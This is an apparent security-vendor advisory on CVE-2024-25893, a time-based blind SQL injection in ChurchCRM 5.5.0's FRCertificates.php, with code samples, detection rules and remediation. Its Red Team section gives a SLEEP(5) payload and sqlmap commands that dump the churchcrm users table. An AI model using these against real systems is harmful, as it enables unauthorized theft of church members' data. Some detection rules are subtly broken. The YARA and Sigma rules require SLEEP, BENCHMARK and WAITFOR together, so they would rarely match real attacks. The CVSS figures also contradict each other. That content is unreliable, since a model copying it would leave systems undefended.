CVE-2024-25893

Executive Summary

CVE-2024-25893 identifies a Blind SQL Injection (Time-based) vulnerability in ChurchCRM version 5.5.0, specifically within the FRCertificates.php file. The vulnerability is triggered via the CurrentFundraiser GET parameter, allowing an unauthenticated attacker to perform time-based blind SQL injection attacks. This can lead to unauthorized data extraction, including sensitive user information, credentials, and other database contents. The vulnerability has a public proof-of-concept (PoC) but no known patch or official advisory from the vendor at this time. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for exposed instances.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): None (likely)
• User Interaction (UI): None (likely)
• Scope (S): Unchanged (likely)
• Confidentiality Impact (C): High (likely)
• Integrity Impact (I): None (likely)
• Availability Impact (A): None (likely)
• Threat Level: High (due to unauthenticated access and potential data breach)

Deep Dive & Mechanics

The vulnerability resides in the FRCertificates.php script, which is part of the ChurchCRM application. The CurrentFundraiser GET parameter is directly concatenated into a SQL query without proper sanitization or parameterization. This allows an attacker to inject malicious SQL code that is executed by the database server.

Time-based Blind SQL Injection works by injecting SQL commands that cause a delay in the database response (e.g., using SLEEP() or BENCHMARK()). The attacker can infer the truth of conditions based on the response time, enabling them to extract data character by character.

Example injection:

GET /FRCertificates.php?CurrentFundraiser=1 OR SLEEP(5) HTTP/1.1

If the response is delayed by 5 seconds, the injection is successful.

Vulnerable vs. Patched Code

Vulnerable Code (ChurchCRM 5.5.0):

// FRCertificates.php (simplified)
$fundraiserId = $_GET['CurrentFundraiser'];
$query = "SELECT * FROM fundraiser_certificates WHERE fundraiser_id = $fundraiserId";
$result = mysqli_query($conn, $query);

Patched Code (Hypothetical):

// FRCertificates.php (patched)
$fundraiserId = intval($_GET['CurrentFundraiser']);
$query = "SELECT * FROM fundraiser_certificates WHERE fundraiser_id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $fundraiserId);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

The patched version uses parameterized queries and input validation to prevent SQL injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• ChurchCRM 5.5.0 instance (e.g., Docker or local setup)
• SQLMap or manual exploitation tools

Step 1: Identify the vulnerable endpoint

http://target/FRCertificates.php?CurrentFundraiser=1

Step 2: Test for time-based injection

http://target/FRCertificates.php?CurrentFundraiser=1 OR SLEEP(5)

Step 3: Automate extraction with SQLMap

sqlmap -u "http://target/FRCertificates.php?CurrentFundraiser=1" --batch --time-sec=5 --dbs

Step 4: Extract data

sqlmap -u "http://target/FRCertificates.php?CurrentFundraiser=1" --batch -D churchcrm --tables
sqlmap -u "http://target/FRCertificates.php?CurrentFundraiser=1" --batch -D churchcrm -T users --dump

Blue Team

Detection:

• Monitor for unusual GET requests to FRCertificates.php with long or suspicious CurrentFundraiser parameters.
• Look for patterns like SLEEP, BENCHMARK, WAITFOR, or excessive response times.
• Use WAF rules to block SQL injection patterns.

Hunting:

• Search logs for requests to FRCertificates.php with CurrentFundraiser containing SQL keywords.
• Analyze response times for anomalies (e.g., >5 seconds).

Indicators of Compromise (IOCs)

• Network:
  • GET requests to /FRCertificates.php?CurrentFundraiser=* with SQL keywords (e.g., SLEEP, OR, AND, UNION).
  • Response times exceeding normal thresholds (e.g., >5 seconds).
• Host:
  • Unusual database queries in MySQL logs (e.g., SELECT * FROM fundraiser_certificates WHERE fundraiser_id = 1 OR SLEEP(5)).
  • High CPU or memory usage on the database server during exploitation.
• File:
  • Modified FRCertificates.php file (if attacker uploads a webshell).

Detection Engineering

YARA Rule

rule CVE_2024_25893_ChurchCRM_SQLi {
    meta:
        description = "Detects exploitation attempts of CVE-2024-25893 in ChurchCRM"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-25893"
    strings:
        $s1 = "CurrentFundraiser" nocase
        $s2 = "SLEEP" nocase
        $s3 = "BENCHMARK" nocase
        $s4 = "WAITFOR" nocase
        $s5 = "OR" nocase
        $s6 = "AND" nocase
    condition:
        all of ($s1, $s2, $s3, $s4, $s5, $s6) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-25893 ChurchCRM SQL Injection Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects time-based blind SQL injection attempts against ChurchCRM FRCertificates.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'CurrentFundraiser'
        cs-uri-query|contains|all:
            - 'SLEEP'
            - 'BENCHMARK'
            - 'WAITFOR'
    condition: selection
falsepositives:
    - Legitimate use of SLEEP function (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-25893 ChurchCRM SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/FRCertificates.php"; http_uri; content:"CurrentFundraiser"; http_uri; pcre:"/CurrentFundraiser=.*(SLEEP|BENCHMARK|WAITFOR)/Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the ChurchCRM instance from the internet if possible.
2. Apply input validation to the CurrentFundraiser parameter (e.g., cast to integer).
3. Use parameterized queries in FRCertificates.php and all other database interactions.
4. Deploy a WAF with rules to block SQL injection patterns.
5. Monitor logs for exploitation attempts.

Long-term Fix:

• Upgrade to a patched version of ChurchCRM once available.
• Conduct a full code audit for similar vulnerabilities.
• Implement secure coding practices (e.g., prepared statements, input validation).

Workaround:

• Disable FRCertificates.php or restrict access via .htaccess:

<Files "FRCertificates.php">
    Require all denied
</Files>

Valters IT
Securing Digital Frontiers